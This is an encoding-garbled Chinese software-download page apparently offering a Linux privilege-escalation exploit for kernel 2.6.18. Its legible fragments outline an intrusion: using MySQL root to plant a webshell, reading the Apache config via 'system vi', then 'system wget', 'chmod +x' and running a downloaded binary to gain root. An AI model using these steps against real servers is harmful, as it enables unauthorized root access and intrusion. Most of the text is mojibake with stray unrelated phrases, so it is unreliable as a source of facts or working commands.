• tܛأ߅ĵİȫdվ
ڵλãcba  > ܛ > _l >  > εlinuxռNlinuxȺexp

方程式赛车 :εlinuxռNlinuxȺexp

ܛͣ
ܛZԣ
w
ܛ??/dt>
3 MB
ܛڙࣺ
ܛu
4
•rg
2017-11-19
ƽ_
WinXP, Win7, WinAll
ܛ

cba www.kulmep.tw @ǺεlinuxռNlinuxȺexpdһ Linux͙ ԇԇ tmpļͿ@ʂ.ȿlinuxȺ uname -a 2.6.18-194.11.3.el5 Ⱥ 2010҂Ҫ

ܛB

εlinuxռNlinuxȺexpǰķ܈e@ʾӋ޸^ ԇCMDSHELLUSERROOTȻԏ^DzɌƲ^ȥ

ܛf

һ҂ճҎ˼·㵽mysqlrootܴa֮҂BȥһȻoutfile㵽һwebshell Ȼ˹@҂QһNʽ
ķ҂Ҫ֪webĽ^·Ȼ@ܲЩsqlinjection܈e@ʾеľͲһ ҵĵķ]бҪȥweb·ֱӈ
mysql>system vi /etc/httpd/conf/httpd.conf;
ֱ@ӾͿҵweb·Ȼ҂ĿIJweb·webshellMȥ҂Ҫñdexp 㵽 rootȻbT
mysql>system wgetmysql>system chmod +x xxxx;   mysql>system ./xxxx; 
@mysqlroot˕rͳɞsystemrootʣµ_sshsshBȥݔmysqlÑܴaok 

PB

ȻٶȻ·EXP2.6.18-194@Ⱥѽղ^.ς/tmpʲôҪ@Ŀ?
tmpĿ䛿ɌɈһ^ming.

ܛ؈D

εlinuxռNlinuxȺexp

ܛdַ
εlinuxռNlinuxȺexp
ܛ]
d

Ʒܛ

TPI~

Tܛ]